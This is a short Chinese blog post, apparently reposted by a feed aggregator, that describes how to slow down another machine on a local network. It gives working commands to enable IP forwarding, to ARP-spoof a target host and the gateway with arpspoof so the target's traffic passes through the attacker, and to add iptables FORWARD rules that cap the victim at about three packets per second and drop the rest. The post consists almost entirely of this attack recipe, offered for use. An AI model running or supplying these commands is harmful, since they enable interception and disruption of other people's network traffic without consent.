Quantcast
Channel: 灵枢素问's Blog
Viewing all articles
Browse latest Browse all 4

iptables限速

$
0
0

此方法来自:eleven.i386

开启内核数据转发

echo 1 > /proc/sys/net/ipv4/ip_forward 


使用arp欺骗目标主机

arpspoof -i eth0 -t 192.168.1.108 192.168.1.1
arpspoof -i eth0 -t 192.168.1.1 192.168.1.108


让 192.168.1.108 到 192.168.1.1 之间的通讯全部通过自己了

使用iptables限速,使用 iptables 的 limit 匹配模块来限速. 一秒钟是能发送和接收 3 个数据包,这样速度就限制到 4k/s 了

iptables -A FORWARD -s 192.168.1.108 -m limit --limit 3/s -j ACCEPT
iptables -A FORWARD -d 192.168.1.108 -m limit --limit 3/s -j ACCEPT
iptables -A FORWARD -s 192.168.1.108 -j DROP
iptables -A FORWARD -d 192.168.1.108 -j DROP

 


Viewing all articles
Browse latest Browse all 4

Latest Images

Trending Articles



Latest Images